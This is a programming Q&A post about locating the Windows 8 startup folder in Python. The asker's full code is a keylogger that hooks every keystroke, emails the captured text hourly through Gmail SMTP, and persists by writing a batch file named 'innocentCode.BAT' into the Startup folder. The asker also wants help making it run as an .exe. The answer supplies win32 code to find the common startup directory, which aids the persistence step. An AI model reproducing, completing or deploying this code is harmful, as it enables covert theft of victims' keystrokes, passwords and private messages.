Find startup folder in windows 8 using python
Question: I have a code that adds a batch file to the startup folder so that it runs
when the computer starts up. my code is the following:

    
    
    path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Batch.BAT' %win32api.GetUserName()
    f = open(path, 'w')
    

This works just fine on Win 7 but in Win8 the startup folder was moved and I
can't find access to it. How do I find the right folder to put it in? Thank
you Isaac

**UPDATE: My code works and runs when it is in .pyw but once I turn it to .exe
it doesn't... This I don't understand**

Full code:

    
    
    import win32api
    import sys
    import pythoncom, pyHook
    import time
    import smtplib
    import thread
    import re
    import os
    
    global text
    global start
    def main():
    global text
    global start
    text = ''
    start = time.time()
    AddToStartUp(fixpath(findDirectory()))
    while True:
        hm = pyHook.HookManager() 
        hm.KeyDown = OnKeyboardEvent 
        hm.HookKeyboard() 
        pythoncom.PumpMessages()
    
    def sendemail(from_addr, to_addr_list, cc_addr_list,
              subject, message,
              login, password,
              smtpserver='smtp.gmail.com:587'):
    header  = 'From: %s\n' % from_addr
    header += 'To: %s\n' % ','.join(to_addr_list)
    header += 'Cc: %s\n' % ','.join(cc_addr_list)
    header += 'Subject: %s\n\n' % subject
    message = header + message
    
    server = smtplib.SMTP(smtpserver)
    server.starttls()
    server.login(login,password)
    
    problems = server.sendmail(from_addr, to_addr_list, message)
    server.quit()
    return problems
    
    
    def OnKeyboardEvent(event):
    global start
    global text
    text += chr(event.Ascii)
    print text
    if time.time()-start > 3600:
        thread.start_new_thread(sendemail, ('email','email','','Keylogger',text,'email','password'))
        start = time.time()
    return True
    def fixpath(path):
    arr = re.split(r'\\', path)
    direct = ''
    for i in arr:
        direct += i + '\\'
    return direct
    
    def AddToStartUp(direct):
    path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\innocentCode.BAT' %win32api.GetUserName()
    f = open(path, 'w')
    f.write("""cd %s\nstart keylogger\nexit"""%direct)
    
    def findDirectory():
    return os.path.dirname(os.path.realpath(__file__))
    
    if __name__ == "__main__":
    main()
    


Answer: The following code shows how to find it via the win32 api. I once found it
searching the web - no credits for me.

    
    
    from win32com.shell import shell, shellcon
    
    def startupdirectory():
        return shell.SHGetFolderPath(
            0,
            shellcon.CSIDL_COMMON_STARTUP,
            0,# null access token (no impersonation)
            0 # want current value, shellcon.SHGFP_TYPE_CURRENT isn't available, this seems to work
            )
    
    if __name__ == '__main__':
        print startupdirectory()
    

